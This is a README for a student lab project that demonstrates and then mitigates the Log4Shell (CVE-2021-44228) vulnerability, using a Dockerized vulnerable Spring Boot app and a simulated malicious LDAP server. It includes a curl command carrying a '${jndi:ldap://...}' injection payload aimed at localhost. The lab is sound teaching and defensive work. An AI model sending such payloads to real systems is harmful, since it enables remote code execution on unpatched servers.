
Log4Shell (CVE-2021-44228) exploit demo for SEAS 8405. Includes a vulnerable Spring Boot app, fake LDAP server, Docker setup, MITRE mapping, incident response, and a full screen recording.
This project demonstrates the exploitation and mitigation of the Log4Shell vulnerability (CVE-2021-44228) using a Dockerized Java web application with vulnerable Log4j 2.14.1. The setup also includes a simulated malicious LDAP server to demonstrate the JNDI injection attack path.
After exploitation, the system is hardened by upgrading Log4j, validating input, and applying MITRE D3FEND and ATT&CK recommendations.
log4shell-homework9/
├── docker-compose.yml
├── Dockerfile
├── pom.xml
├── ldap_server.py
├── src/...
├── architecture_diagram.png
├── README.md
├── mitigation_report.pdf
docker build -t vulnerable-app .
docker-compose up
App will be running at:
http://localhost:8080
python3 ldap_server.py
Send a request like this to the app:
curl http://localhost:8080?input=${jndi:ldap://localhost:8000/Exploit}
The LDAP server should receive the request (this simulates the JNDI exploit).
After demonstrating the attack, the system was secured by:
${jndi:...} patterns)See mitigation_report.pdf for:
If the video is not uploaded directly, it is available at the link in the report.
Serpil Rivas
SEAS 8405 – Cybersecurity Architectures
May 2025